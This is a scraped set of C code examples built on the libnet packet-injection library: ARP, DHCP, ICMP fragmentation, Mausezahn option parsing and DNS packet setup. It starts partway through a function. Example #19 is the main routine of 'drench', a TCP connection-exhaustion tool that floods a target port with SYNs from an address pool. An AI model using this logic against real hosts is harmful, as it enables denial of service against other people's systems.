										// sender
										if_mac->ether_addr_octet,
										(unsigned char *)&if_ip,
										// reciever
										unknown_hw,
										(unsigned char *)&ip,
										NULL,
										0,
										nd,
										arp );

				net = libnet_build_ethernet( bcast_hw,
											 if_mac->ether_addr_octet,
											 ETHERTYPE_ARP, 
											 NULL, 
											 0, 
											 nd, 
											 net );

				if( libnet_write(nd) < 0 ){
					ted_die( "Could not send ARP request .\n" );
				}
			}
		}
	   			
		usleep( ted->arp_delay );
	}
}
Example #19
0
    int
main(int argc, char *argv[])
{    
    pkt_t *dp = NULL;

    int ch = 0;
    u_int32_t count = 5;
    u_int32_t group = 0; /* number of packets to send in group */
    useconds_t usec = 0;    /* rate limit number of SYN's sent */

    pid_t pid = 0;

    /* pcap */
    pcap_t *p = NULL;
    char *dev = NULL;
    char errbuf[PCAP_ERRBUF_SIZE];
    u_int32_t localnet = 0;
    u_int32_t netmask = 0;
    struct bpf_program fcode;

    char *filt = NULL;

    /* libnet */
    char lerrbuf[LIBNET_ERRBUF_SIZE];

    (void)memset(errbuf, 0, PCAP_ERRBUF_SIZE);
    (void)memset(lerrbuf, 0, LIBNET_ERRBUF_SIZE);

    ISNULL(filt = (char *)calloc(MAXFILT, 1));
    ISNULL(dp = (pkt_t *)calloc(1, sizeof(pkt_t)));

    dp->p_tcp = LIBNET_PTAG_INITIALIZER;
    dp->p_ip = LIBNET_PTAG_INITIALIZER;
    dp->winsize = TCP_WINSIZE;
    dp->opts |= O_CHKISN; /* check the ISN return in the ACK by default */

    drench_exit = 0;    /* global, signal exit from loop */

    while ( (ch = getopt(argc, argv, "ACc:d:hi:p:P:Rr:s:S:x:")) != EOF) {
        switch (ch) {
            case 'A':               /* Continue ACK'ing all ACK's */
                dp->opts |= O_ACK;
                break;
            case 'C':               /* Don't check the returned sequence number in the ACK */
                dp->opts ^= O_CHKISN;
                break;
            case 'c':               /* Number of packets to send */
                count = (u_int32_t)atoi(optarg);
                break;
            case 'd':               /* Destination address */
                dp->daddr = optarg;
                break;
            case 'h':               /* Help */
                usage();
                break;
            case 'i':               /* Use interface */
                dev = optarg;
                break;
            case 'p':               /* Destination port */
                dp->dport = (in_port_t)atoi(optarg);
                break;
            case 'P':
                dp->payload = optarg;   /* Send data with the ACK */
                break;
            case 'r':               /* Range of ip's to allocate */
                dp->range = (u_int8_t)atoi(optarg); 
                break;
            case 'R':               /* Repeat the scan */
                dp->opts |= O_REPEAT;
                break;
            case 's':               /* Source address */
                dp->saddr = strdup(optarg);
                break;
            case 'S':               /* Sleep (microseconds) */
                usec = (useconds_t)atoi(optarg);
                break;
            case 'x':               /* Number of packets to send in group */
                group = (u_int32_t)atoi(optarg);
                break;
            default:
                usage();
                break;
        }
    }


    if (dp->daddr == NULL) {
        (void)fprintf(stderr, "Must specify destination address.\n");
        usage();
    }

    if (dp->dport == 0) {
        (void)fprintf(stderr, "Must specify destination port.\n");
        usage();
    }

    if (dp->range == 0)
        dp->range = 1;

    if (group == 0) 
        group = dp->range;

    if (dev == NULL) 
        PCAP_ERRBUF(dev = pcap_lookupdev(errbuf));

    /* libnet */
    dp->l = libnet_init(LIBNET_RAW4, dev, lerrbuf);

    if (dp->l == NULL)
        errx(EXIT_FAILURE, "libnet_init: %s", lerrbuf);

    if (dp->saddr == NULL) {
        u_int32_t ipaddr = 0;

        /* Assign the inital address. */

        /* FIXME Simplisitically assign the address from
         * FIXME our current address. Note this breaks for many
         * FIXME conditions: if the host is multi-homed, if
         * FIXME another host exists on the network with that IP,
         * FIXME if the final octet rolls past 254, if the network
         * FIXME is classless, IP aliases ...
         *
         * FIXME We can check for these conditions (check the ARP
         * FIXME table, etc), but it is error prone. So just
         * FIXME warn the user and hope for the best.
         */
        if ( (ipaddr = libnet_get_ipaddr4(dp->l)) == -1)
            errx(EXIT_FAILURE, "%s", libnet_geterror(dp->l));

        dp->saddr = strdup(libnet_addr2name4(ipaddr, LIBNET_DONT_RESOLVE));
        (void)fprintf(stdout, "[%s] WARNING: Source address not assigned.\n", __progname);
    }

    if (dp->range > 1) {
        (void)fprintf(stdout, "[%s] WARNING: Assigning addresses sequentially from %s.\n", __progname,
                      dp->saddr);
        (void)fprintf(stdout, "[%s] WARNING: This may cause problems on your network if addresses conflict with other hosts!\n", __progname);
    }

    LIBNET_ERR(libnet_seed_prand(dp->l));
    dp->secret = libnet_get_prand(LIBNET_PRu32);

    /* pcap */
    (void)fprintf(stdout, "[%s] Connection exhaustion started.\n", __progname);
    (void)fprintf(stdout, "[%s] Using device: %s\n", __progname, dev);
    (void)snprintf(filt, MAXFILT, PCAP_FILT, dp->daddr, dp->dport);
    (void)fprintf(stdout, "[%s] Using filter: %s\n", __progname, filt);

    PCAP_ERRBUF(p = pcap_open_live(dev, SNAPLEN, PROMISC, TIMEOUT, errbuf));

    if (pcap_lookupnet(dev, &localnet, &netmask, errbuf) == -1)
        errx(EXIT_FAILURE, "%s\n", errbuf);

    PCAP_ERR(pcap_compile(p, &fcode, filt, 1 /* optimize == true */, netmask));
    PCAP_ERR(pcap_setfilter(p, &fcode));

    switch (pcap_datalink(p)) {
        case DLT_IEEE802_11:
            (void)fprintf(stderr, "[%s] Link layer is 802.11\n", __progname);
            break;
        case DLT_EN10MB:
            (void)fprintf(stderr, "[%s] Link layer is ethernet\n", __progname);
            break;
        default:
            (void)fprintf(stderr, "[%s] Link layer is unsupported\n", __progname);
            break;
    }

    if (create_arp_pool1(dp) < 0)
        warnx("Could not create ARP pool");

    (void)signal(SIGHUP, drench_cleanup);
    (void)signal(SIGQUIT, drench_cleanup);
    (void)signal(SIGINT, drench_cleanup);
    (void)signal(SIGTERM, drench_cleanup);

    if ( (pid = fork()) == -1)
        err(EXIT_FAILURE, "fork");

    /* begin by sending SYN packets */
    if (pid == 0)
        drench_writer(dp, count, group, usec);

    drench_reader(dp, p);

    (void)destroy_arp_pool1(dp);
    libnet_destroy(dp->l);
    free(dp->saddr);
    free(dp);
    exit (EXIT_FAILURE);
}
Example #20
0
int
main(int argc, char *argv[])
{
    char *intf;
    u_long src_ip, options_len, orig_len;
    int i;
    
    libnet_t *l;
    libnet_ptag_t t;
    libnet_ptag_t ip;
    libnet_ptag_t udp;
    libnet_ptag_t dhcp;
    struct libnet_ether_addr *ethaddr;
    struct libnet_stats ls;
    
    char errbuf[LIBNET_ERRBUF_SIZE];
    
    u_char options_req[] = { LIBNET_DHCP_SUBNETMASK , LIBNET_DHCP_BROADCASTADDR , LIBNET_DHCP_TIMEOFFSET , LIBNET_DHCP_ROUTER , LIBNET_DHCP_DOMAINNAME , LIBNET_DHCP_DNS , LIBNET_DHCP_HOSTNAME };
    u_char *options;
    u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
    u_char *tmp;
    
    // have to specify interface
    if (argc != 2)
        usage(argv[0]);
    intf = argv[1];
    
    l = libnet_init(
            LIBNET_LINK,                            // injection type
            intf,                                   // network interface
            errbuf);                                // errbuf
    if (!l)
    {
        fprintf(stderr, "libnet_init: %s", errbuf);
        exit(EXIT_FAILURE);
    }
    else {
        src_ip = libnet_get_ipaddr4(l);;
        
        if ((ethaddr = libnet_get_hwaddr(l)) == NULL)
        {
            fprintf(stderr, "libnet_get_hwaddr: %s\n", libnet_geterror(l));
            exit(EXIT_FAILURE);
        }
        
        printf("ip addr     : %s\n", libnet_addr2name4(src_ip, LIBNET_DONT_RESOLVE));
        printf("eth addr    : ");
        for (i = 0; i < 6; i++) {
            printf("%x", ethaddr->ether_addr_octet[i]);
            if (i != 5) {
                printf(":");
            }
        }
        printf("\n");
        
        
        // build options packet
        i = 0;
        options_len = 3;                            // update total payload size
        
        // we are a discover packet
        options = malloc(3);
        options[i++] = LIBNET_DHCP_MESSAGETYPE;     // type
        options[i++] = 1;                           // len
        options[i++] = LIBNET_DHCP_MSGDISCOVER;     // data
        
        orig_len = options_len;
        options_len += sizeof(options_req) + 2;     // update total payload size
        
        // workaround for realloc on old machines
        // options = realloc(options, options_len); // resize options buffer
        tmp = malloc(options_len);
        memcpy(tmp, options, orig_len);
        free(options);
        options = tmp;
        
        // we are going to request some parameters
        options[i++] = LIBNET_DHCP_PARAMREQUEST;    // type
        options[i++] = sizeof(options_req);         // len
        memcpy(options + i, options_req, sizeof(options_req)); // data
        i += sizeof(options_req);
        
        // if we have an ip already, let's request it.
        if (src_ip)
        {
            orig_len = options_len;
            options_len += 2 + sizeof(src_ip);
            
            // workaround for realloc on old machines
            // options = realloc(options, options_len);
            tmp = malloc(options_len);
            memcpy(tmp, options, orig_len);
            free(options);
            options = tmp;
            
            options[i++] = LIBNET_DHCP_DISCOVERADDR;	// type
            options[i++] = sizeof(src_ip);			    // len
            memcpy(options + i, (char *)&src_ip, sizeof(src_ip));// data
            i += sizeof(src_ip);
        }
        
        // end our options packet
        options[i] = LIBNET_DHCP_END;
        
        // make sure we are at least the minimum length, if not fill
        // this could go in libnet, but we will leave it in the app for now
        if (options_len + LIBNET_DHCPV4_H < LIBNET_BOOTP_MIN_LEN)
        {
            orig_len = options_len;
            options_len = LIBNET_BOOTP_MIN_LEN - LIBNET_DHCPV4_H;
            
            // workaround for realloc on old machines
            // options = realloc(options, options_len);
            tmp = malloc(options_len);
            memcpy(tmp, options, orig_len);
            free(options);
            options = tmp;
            
            memset(options + i, 0, options_len - i);
        }
        
        // the goodies are here
        dhcp = libnet_build_dhcpv4(
                LIBNET_DHCP_REQUEST,                            // opcode
                1,                                              // hardware type
                6,                                              // hardware address length
                0,                                              // hop count
                0xdeadbeef,                                     // transaction id
                0,                                              // seconds since bootstrap
                0x8000,                                         // flags
                0,                                              // client ip
                0,                                              // your ip
                0,                                              // server ip
                0,                                              // gateway ip
                ethaddr->ether_addr_octet,                      // client hardware addr
                NULL,                                           // server host name
                NULL,                                           // boot file
                options,                                        // dhcp options stuck in payload since it is dynamic
                options_len,                                    // length of options
                l,                                              // libnet handle 
                0);                                             // libnet id 
        
        // wrap it
        udp = libnet_build_udp(
                68,                                             // source port
                67,                                             // destination port
                LIBNET_UDP_H + LIBNET_DHCPV4_H + options_len,   // packet size
                0,                                              // checksum
                NULL,                                           // payload 
                0,                                              // payload size 
                l,                                              // libnet handle 
                0);                                             // libnet id 
        
        // hook me up with some ipv4
        ip = libnet_build_ipv4(
                LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DHCPV4_H
                + options_len,                                  // length
                0x10,                                           // TOS
                0,                                              // IP ID
                0,                                              // IP Frag 
                16,                                             // TTL
                IPPROTO_UDP,                                    // protocol
                0,                                              // checksum
                src_ip,                                         // src ip
                inet_addr("255.255.255.255"),                   // destination ip
                NULL,                                           // payload
                0,                                              // payload size
                l,                                              // libnet handle
                0);                                             // libnet id
        
        // we can just autobuild since we arent doing anything tricky
        t = libnet_autobuild_ethernet(
                enet_dst,                                       // ethernet destination
                ETHERTYPE_IP,                                   // protocol type
                l);                                             // libnet handle
        
        // write to the wire
        if (libnet_write(l) == -1)
        {
            fprintf(stderr, " %s: libnet_write: %s\n", argv[0],
                    strerror(errno));
            exit(EXIT_FAILURE);
        }
        
        // fill and print stats
        libnet_stats(l, &ls);
        fprintf(stderr, "Packets sent:  %ld\n"
                    "Packet errors: %ld\n"
                    "Bytes written: %ld\n",
                    ls.packets_sent, ls.packet_errors, ls.bytes_written);
        libnet_destroy(l);
        
        // free mem
        free(options);
        
        exit(0);
    }
    exit(0);
}
Example #21
0
void frag_and_send(u_int8_t *payload, u_int32_t total_pload_size) {

    /* Builds and sends the first packet, calling get_sum() to
     *    * get the correct checksum for the ICMP packet (with the
     *       * whole payload). Then builds and sends IP fragments
     *          * until all the payload is sent. */

    char ip_addr_str[16];
    u_int32_t ip_addr, src_addr;
    u_int16_t id, seq, ip_id;
    /* hdr_offset = fragmentation flags + offset (in bytes)
     *    * divided by 8 */
    int pload_offset, hdr_offset;
    int bytes_written, max_pload_size, packet_pload_size;
    libnet_ptag_t ip_tag;

    /* Generating random IDs */

    id = (u_int16_t)libnet_get_prand(LIBNET_PR16);
    /* We need a non-zero id number for the IP headers,
     *    * otherwise libnet will increase it after each
     *       * build_ipv4, breaking the fragments */
    ip_id = (u_int16_t)libnet_get_prand(LIBNET_PR16);

    seq = 1;

    /* Getting IP addresses */

    src_addr = libnet_get_ipaddr4(l);
    if (src_addr == -1) {
        fprintf(stderr, "Couldn't get own IP address: %s\n", libnet_geterror(l));
        libnet_destroy(l);
        exit(EXIT_FAILURE);
    }

    printf("Destination IP address: ");
    scanf("%15s", ip_addr_str);

    ip_addr = libnet_name2addr4(l, ip_addr_str, LIBNET_DONT_RESOLVE);

    if (ip_addr == -1) {
        fprintf(stderr, "Error converting IP address.\n");
        libnet_destroy(l);
        exit(EXIT_FAILURE);
    }

    /* Getting max payload size */

    max_pload_size = (MTU - LIBNET_IPV4_H);
    /* making it a multiple of 8 */
    max_pload_size -= (max_pload_size % 8);

    pload_offset = 0;

    /* Building the first packet, which carries the ICMP
     *    * header */

    /* We're doing (payload size - icmp header size) and not
     *    * checking if it's a multiple of 8 because we know the
     *       * header is 8 bytes long */
    if (total_pload_size > (max_pload_size - LIBNET_ICMPV4_ECHO_H)) {
        hdr_offset = IP_MF;
        packet_pload_size = max_pload_size - LIBNET_ICMPV4_ECHO_H;
    } else {
        hdr_offset = 0;
        packet_pload_size = total_pload_size;
    }

    /* ICMP header */
    if (libnet_build_icmpv4_echo(ICMP_ECHO, 0,
                                 get_sum(payload, total_pload_size, id, seq), id,
                                 seq, payload, packet_pload_size, l, 0) == -1) {
        fprintf(stderr, "Error building ICMP header: %s\n", libnet_geterror(l));
        libnet_destroy(l);
        exit(EXIT_FAILURE);
    }

    /* First IP header (no payload, offset == 0) */
    if (libnet_build_ipv4(
                (LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + packet_pload_size), 0, ip_id,
                hdr_offset, 255, IPPROTO_ICMP, 0, src_addr, ip_addr, NULL, 0, l,
                0) == -1) {
        fprintf(stderr, "Error building IP header: %s\n", libnet_geterror(l));
        libnet_destroy(l);
        exit(EXIT_FAILURE);
    }

    /* Writing packet */

    bytes_written = libnet_write(l);

    if (bytes_written != -1)
        printf("%d bytes written.\n", bytes_written);
    else
        fprintf(stderr, "Error writing packet: %s\n", libnet_geterror(l));

    /* Updating the offset */
    pload_offset += packet_pload_size;

    /* Clearing */
    /* We need to get rid of the ICMP header to build the
     *    * other fragments */
    libnet_clear_packet(l);

    ip_tag = LIBNET_PTAG_INITIALIZER;

    /* Looping until all the payload is sent */
    while (total_pload_size > pload_offset) {

        /* Building IP header */

        /* checking if there will be more fragments */
        if ((total_pload_size - pload_offset) > max_pload_size) {
            /* In IP's eyes, the ICMP header in the first packet
             *         needs to be in the offset, so we add its size to
             *                the payload offset here */
            hdr_offset = IP_MF + (pload_offset + LIBNET_ICMPV4_ECHO_H) / 8;
            packet_pload_size = max_pload_size;
        } else {
            /* See above */
            hdr_offset = (pload_offset + LIBNET_ICMPV4_ECHO_H) / 8;
            packet_pload_size = total_pload_size - pload_offset;
        }

        ip_tag = libnet_build_ipv4((LIBNET_IPV4_H + max_pload_size), 0, ip_id,
                                   hdr_offset, 255, IPPROTO_ICMP, 0, src_addr,
                                   ip_addr, (payload + pload_offset),
                                   packet_pload_size, l, ip_tag);

        if (ip_tag == -1) {
            fprintf(stderr, "Error building IP header: %s\n", libnet_geterror(l));
            libnet_destroy(l);
            exit(EXIT_FAILURE);
        }

        /* Writing packet */

        bytes_written = libnet_write(l);

        if (bytes_written != -1)
            printf("%d bytes written.\n", bytes_written);
        else
            fprintf(stderr, "Error writing packet: %s\n", libnet_geterror(l));

        /* Updating the offset */
        pload_offset += packet_pload_size;
    }
}
Example #22
0
// Purpose: Properly handle arguments and configure global structs (tx)
int getopts (int argc, char *argv[])
{
    int i, c, rargs, RX=0, count_set=0, delay_set=0;
    unsigned int time_factor;
    char *packet_type=NULL, *mops_type=NULL;
    char *dum;
    unsigned char *dum1, *dum2;

    libnet_t       *l;
    char err_buf[LIBNET_ERRBUF_SIZE];
    struct libnet_ether_addr *mymac;

    FILE *afp;
    char hexpld[MAX_PAYLOAD_SIZE*2];
    int hexpld_specified=0;

    opterr = 1; // let getopt print error message if necessary


    while ((c = getopt (argc, argv, "hqvVSxra:A:b:B:c:d:f:F:p:P:t:T:M:Q:X:")) != -1)
        switch (c) {
        case 'h':
            usage();
            break;
        case 'q':
            quiet=1;
            break;
        case 'v':
            verbose=1;
            break;
        case 'V':
            verbose=2;
            break;
        case 'S':
            simulate=1;
            break;
        case 'x':
            mz_port = MZ_DEFAULT_PORT;
            break;
        case 'a':
            strncpy (tx.eth_src_txt, optarg, 32);
            tx.packet_mode = 0;
            break;
        case 'A':
            strncpy (tx.ip_src_txt, optarg, 32);
            break;
        case 'b':
            strncpy (tx.eth_dst_txt, optarg, 32);
            tx.packet_mode = 0;
            break;
        case 'B':
            strncpy (tx.ip_dst_txt, optarg, 32);
            break;
        case 'c':
            errno=0;
            tx.count = strtol(optarg, (char **)NULL, 10);
            if ((errno == ERANGE && (tx.count == LONG_MAX || tx.count == LONG_MIN))
                    || (errno != 0 && tx.count == 0)) {
                perror("strtol");
                return (-1);
            }
            if (tx.count<0) tx.count=1;	  //TODO: Allow count=0 which means infinity (need to update all send_functions)
            count_set=1;
            break;
        case 'd':
            errno=0;
            // determine whether seconds or msecs are used
            // default is usec!!!
            time_factor=1;
            if (exists(optarg,"s") || exists(optarg,"sec")) time_factor=1000000;
            if (exists(optarg,"m") || exists(optarg,"msec")) time_factor=1000;
            dum = strtok(optarg,"ms");
            tx.delay = strtol(dum, (char **)NULL, 10) * time_factor;
            if ((errno == ERANGE && (tx.delay == LONG_MAX || tx.delay == LONG_MIN))
                    || (errno != 0 && tx.delay == 0)) {
                perror("strtol");
                return (-1);
            }
            if (tx.delay<0) tx.delay=0; // no delay
            delay_set=1;
            break;
        case 'p':
            errno=0;
            tx.padding = strtol(optarg, (char **)NULL, 10);
            if ((errno == ERANGE && (tx.padding == LONG_MAX || tx.padding == LONG_MIN))
                    || (errno != 0 && tx.padding == 0))  {
                perror("strtol");
                return (-1);
            }
            if (tx.padding>10000) {
                fprintf(stderr, " Warning: Padding must not exceed 10000!\n");
                return -1;
            }
            break;
        case 't':
            packet_type = optarg; // analyzed below
            break;
        case 'X':
            mops_type = optarg; // MOPS TRANSITION STRATEGY -- analyzed below
            break;
        case 'T':
            packet_type = optarg;
            RX = 1;
            break;
        case 'r':
            mz_rand = 1;
            break;
        case 'M':
            if (strncmp(optarg,"help",4)==0) {
                (void) get_mpls_params("help ");
            }
            else {
                strncpy (tx.mpls_txt, optarg, 128);
                tx.eth_type = ETHERTYPE_MPLS;
                tx.packet_mode = 0;
                tx.mpls=1;
            }
            break;
        case 'P':  // ASCII payload
            strncpy((char*)tx.ascii_payload,  optarg, MAX_PAYLOAD_SIZE);
            tx.ascii = 1;
            break;
        case 'f': // ASCII payload in FILE
            afp = fopen(optarg, "r");
            if (fgets((char*)tx.ascii_payload, MAX_PAYLOAD_SIZE, afp) == NULL)
                fprintf(stderr, " mz/getopts: File empty?\n");
            fclose(afp);
            tx.ascii = 1;
            break;
        case 'F': // HEX payload in FILE
            afp = fopen(optarg, "r");
            i=0;
            while ( (hexpld[i]=fgetc(afp))!=EOF ) {
                if (isspace(hexpld[i])) {
                    hexpld[i]=':';
                }
                i++;
            }
            hexpld[i]='\0';
            fclose(afp);
            hexpld_specified=1;
            break;
        case 'Q': // VLAN TAG
            if (strncmp(optarg,"help",4)==0) {
                print_dot1Q_help(); // ugly but most simple and safe solution
            }
            else {
                strncpy (tx.dot1Q_txt, optarg, 32);
                tx.dot1Q=1;
                // determine number of VLAN tags
                for (i=0; i<strlen(tx.dot1Q_txt); i++) {
                    if (tx.dot1Q_txt[i]==',') tx.dot1Q++;
                }
                tx.packet_mode = 0;
            }
            break;
        case '?':
            if ((optopt == 'a') || (optopt == 'b') || (optopt = 'c') ||
                    (optopt == 'd') || (optopt == 'f') || (optopt = 'p') ||
                    (optopt == 't') || (optopt == 'm'))
                fprintf (stderr, " mz/getopts: Option -%c requires an argument.\n", optopt);
            else if (isprint (optopt))
                fprintf (stderr, " mz/getopts: Unknown option -%c'.\n", optopt);
            else
                fprintf (stderr, " mz/getopts: Unknown option character \\x%x'.\n", optopt);
            return 1;
        default:
            fprintf (stderr," mz/getopts: Could not handle arguments properly!\n");
            return 1;
        }

    // ********************************************
    //       Handle additional arguments
    // ********************************************
    //
    // Greeting text
    if (verbose) {
        fprintf(stderr,"\n"
                MAUSEZAHN_VERSION
                "\n"
                "Use at your own risk and responsibility!\n"
                "-- Verbose mode --\n"
                "\n");
    }

    if (argc<2) {
        usage();
    }

    if ((rargs=argc-optind)>2) {  // number of remaining arguments
        fprintf(stderr," mz/getopts: Too many arguments!\n");
        return -1;
    }


    // There can be 0-2 additional arguments
    switch (rargs) {
    case 0:
        if (lookupdev()) { // no device found
            if (verbose) fprintf(stderr, " mz: no active interfaces found!\n");
            strcpy(tx.device, "lo");
        }
        fprintf(stderr," mz: You must specify an interface. Use ifconfig and try again.\n");
        exit(0);
    case 1: // arg_string OR device given => find out!
        if ( dev_exists(argv[optind]) )
        {
            strncpy (tx.device, argv[optind], 16);
        }
        else
        {   /// arg_string given => no device has been specified -- let's find one!
            strncpy (tx.arg_string, argv[optind], MAX_PAYLOAD_SIZE);
            if (lookupdev())
            {   // no device found
                if (verbose) fprintf(stderr, " mz: no active interfaces found!\n");
                strcpy(tx.device, "lo");
            }
            fprintf(stderr," mz: You must specify a valid interface. Use ifconfig and try again.\n");
            exit(0);
        }
        break;
    case 2: // both device and arg_string given
        if(dev_exists(argv[optind]))
        {
            strncpy (tx.device, argv[optind], 16);
            strncpy (tx.arg_string, argv[optind+1], MAX_PAYLOAD_SIZE);
        }
        else if(dev_exists(argv[optind+1]))
        {
            strncpy (tx.device, argv[optind+1], 16);
            strncpy (tx.arg_string, argv[optind], MAX_PAYLOAD_SIZE);
        }
        else
        {
            if (lookupdev()) { // no device found
                if (verbose) fprintf(stderr, " mz: no active interfaces found!\n");
                strcpy(tx.device, "lo");
            }
            fprintf(stderr," mz: You must specify a valid interface. Use ifconfig and try again.\n");
            exit(0);
        }
        break;
    default:
        fprintf(stderr," mz/getopts: Unknown argument problem!\n");
        return 1;
    }
    if(verbose)
    {
        if(tx.device) fprintf(stderr," mz: Selected interface: %s\n",tx.device );
        if(tx.arg_string) fprintf(stderr," mz: Selected argument string: %s\n", tx.arg_string);
    }

    if (hexpld_specified) {
        strcat(tx.arg_string, ",p=");
        strcat(tx.arg_string, hexpld);
    }


    //////////////////////////////////////////////////////////////////////////
    //
    // Initialize MAC and IP Addresses.
    //
    // - tx.eth_src = own interface MAC
    // - tx.ip_src  = own interface IP or user specified
    // - tx.ip_dst  = 255.255.255.255 or user specified (can be a range)
    // - tx.ip_src_rand ... is set if needed.
    //

    // Get own device MAC address:
    // Don't open context if only a help text is requested
    if  (getarg(tx.arg_string,"help", NULL)!=1) {
        l = libnet_init (LIBNET_LINK_ADV, tx.device, err_buf );
        if (l == NULL) {
            fprintf(stderr, " mz/getopts: libnet_init() failed (%s)", err_buf);
            return -1;
        }
        mymac = libnet_get_hwaddr(l);
        for (i=0; i<6; i++) {
            tx.eth_src[i] = mymac->ether_addr_octet[i];
            tx.eth_mac_own[i] = mymac->ether_addr_octet[i];
        }

        // Set source IP address:
        if (strlen(tx.ip_src_txt)) { // option -A has been specified
            if (mz_strcmp(tx.ip_src_txt, "bcast", 2)==0) {
                tx.ip_src = libnet_name2addr4 (l, "255.255.255.255", LIBNET_DONT_RESOLVE);
            } else if (strcmp(tx.ip_src_txt, "rand") == 0) {
                tx.ip_src_rand = 1;
                tx.ip_src_h  = (u_int32_t) ( ((float) rand()/RAND_MAX)*0xE0000000); //this is 224.0.0.0
            }
            else if (get_ip_range_src(tx.ip_src_txt)) { // returns 1 when no range has been specified
                // name2addr4 accepts a DOTTED DECIMAL ADDRESS or a FQDN:
                tx.ip_src = libnet_name2addr4 (l, tx.ip_src_txt, LIBNET_RESOLVE);
            }
        }
        else { // no source IP specified: by default use own IP address
            tx.ip_src = libnet_get_ipaddr4(l);
        }

        // Set destination IP address:
        if (strlen(tx.ip_dst_txt)) {  // option -B has been specified
            if (mz_strcmp(tx.ip_dst_txt, "rand", 2)==0) {
                fprintf(stderr, "Option -B does not support random destination IP addresses currently.\n");
                return 1;
            }

            if (mz_strcmp(tx.ip_dst_txt, "bcast", 2)==0) {
                tx.ip_dst = libnet_name2addr4 (l, "255.255.255.255", LIBNET_DONT_RESOLVE);
            } else if (get_ip_range_dst(tx.ip_dst_txt)) { // returns 1 when no range has been specified
                // name2addr4 accepts a DOTTED DECIMAL ADDRESS or a FQDN:
                tx.ip_dst = libnet_name2addr4 (l, tx.ip_dst_txt, LIBNET_RESOLVE);
            }
        }
        else { // no destination IP specified: by default use broadcast
            tx.ip_dst = libnet_name2addr4 (l, "255.255.255.255", LIBNET_DONT_RESOLVE);
        }

        // Initialize tx.ip_src_h and tx.ip_dst_h which are used by 'print_frame_details()'
        // in verbose mode. See 'modifications.c'.

        if (tx.ip_src_rand) { // ip_src_h already given, convert to ip_src
            dum1 = (unsigned char*) &tx.ip_src_h;
            dum2 = (unsigned char*) &tx.ip_src;
        }
        else { // ip_src already given, convert to ip_src_h
            dum1 = (unsigned char*) &tx.ip_src;
            dum2 = (unsigned char*) &tx.ip_src_h;
        }

        *dum2 = *(dum1+3);
        dum2++;
        *dum2 = *(dum1+2);
        dum2++;
        *dum2 = *(dum1+1);
        dum2++;
        *dum2 = *dum1;

        dum1 = (unsigned char*) &tx.ip_dst;
        dum2 = (unsigned char*) &tx.ip_dst_h;

        *dum2 = *(dum1+3);
        dum2++;
        *dum2 = *(dum1+2);
        dum2++;
        *dum2 = *(dum1+1);
        dum2++;
        *dum2 = *dum1;

        libnet_destroy(l);
    }

    //
    // END OF ADDRESS INITIALIZATION
    //
    //////////////////////////////////////////////////////////////////////////


    ////// retrieve interface parameters ///////

    for (i=0; i<device_list_entries; i++) {
        get_dev_params(device_list[i].dev);
    }


    //////////////////////////////////////////////////////////////////////////
    //
    //  Mausezahn CLI desired?
    if (mz_port) {
        // has port number been specified?
        if (strlen(tx.arg_string)) {
            mz_port = (int) str2int (tx.arg_string);
        }

        if (!quiet) {
            fprintf(stderr, "Mausezahn accepts incoming Telnet connections on port %i.\n", mz_port);
        }

        mz_cli_init();
        cli();
    }

    //////////////////////////////////////////////////////////////////////////
    //
    //                 Mode decision
    //
    // Consider -t and -m option (used exclusively)
    //   -t => special packet types, stateless
    //
    // If -t not present then evaluate arg_string which must
    // contain a byte-string in hexadecimal notation.
    //
    //

    // ***** NEW: MOPS TRANSITION STRATEGY *****
    if (mops_type != NULL) {

        if (mz_strcmp(mops_type,"lldp",4)==0) {
            mops_direct(tx.device, MOPS_LLDP, tx.arg_string);
        }
    }


    if (packet_type == NULL) { // raw hex string given
        mode = BYTE_STREAM;
    }
    else if (strcmp(packet_type,"arp")==0) {
        mode = ARP;
    }
    else if (strcmp(packet_type,"bpdu")==0) {
        mode = BPDU;
    }
    else if (strcmp(packet_type,"ip")==0) {
        mode = IP;
    }
    else if (strcmp(packet_type,"udp")==0) {
        mode = UDP;
    }
    else if (strcmp(packet_type,"icmp")==0) {
        mode = ICMP;
    }
    else if (strcmp(packet_type,"tcp")==0) {
        mode = TCP;
    }
    else if (strcmp(packet_type,"dns")==0) {
        mode = DNS;
    }
    else if (strcmp(packet_type,"cdp")==0) {
        mode = CDP;
    }
    else if (strcmp(packet_type,"syslog")==0) {
        mode = SYSLOG;
    }
    else if (strcmp(packet_type,"lldp")==0) {
        mode = LLDP;
        tx.packet_mode=0; // create whole frame by ourself
    }
    else if (strcmp(packet_type,"rtp")==0) {
        if (RX) {
            mode = RX_RTP;
        }
        else {
            mode = RTP;
            if (!count_set) tx.count = 0;
            if (!delay_set) tx.delay = 20000; // 20 msec inter-packet delay for RTP
        }
    }
    else if (strcmp(packet_type,"help")==0) {
        fprintf(stderr, "\n"
                MAUSEZAHN_VERSION
                "\n"
                "|  The following packet types are currently implemented:\n"
                "|\n"
                "|  arp            ... sends ARP packets\n"
                "|  bpdu           ... sends BPDU packets (STP or PVST+)\n"
                "|  cdp            ... sends CDP messages\n"
                "|  ip             ... sends IPv4 packets\n"
                "|  udp            ... sends UDP datagrams\n"
                "|  tcp            ... sends TCP segments\n"
                "|  icmp           ... sends ICMP messages\n"
                "|  dns            ... sends DNS messages\n"
                "|  rtp            ... sends RTP datagrams\n"
                "|  syslog         ... sends Syslog messages\n"
                "|\n"
                "| Of course you can build any other packet type 'manually' using the direct layer 2 mode.\n"
                "| FYI: The interactive mode supports additional protocols. (Try mz -x <port>)\n"
                "\n"
               );
        exit(1);
    }
    else {
        fprintf(stderr, " mz: you must specify a valid packet type!\n");
    }


    //////////////////////////////////////////////////////////////////////////

    // TODO: Implement macro support
    //       Check macro types here

    return 0;

}
Example #23
0
int
main(int argc, char *argv[])
{
    char c;
    u_long src_ip = 0, dst_ip = 0;
    u_short type = LIBNET_UDP_DNSV4_H;
    libnet_t *l;

    libnet_ptag_t ip;
    libnet_ptag_t ptag4; /* TCP or UDP ptag */
    libnet_ptag_t dns;
    
    char errbuf[LIBNET_ERRBUF_SIZE];
    char *query = NULL;
    char payload[1024];
    u_short payload_s;

    printf("libnet 1.1 packet shaping: DNSv4[raw]\n");
    
    /*
     *  Initialize the library.  Root priviledges are required.
     */
    l = libnet_init(
            LIBNET_RAW4,                            /* injection type */
            NULL,                                   /* network interface */
            errbuf);                                /* error buffer */
  
    if (!l)
    {
        fprintf(stderr, "libnet_init: %s", errbuf);
        exit(EXIT_FAILURE);
    }

    /*
     * parse options
     */
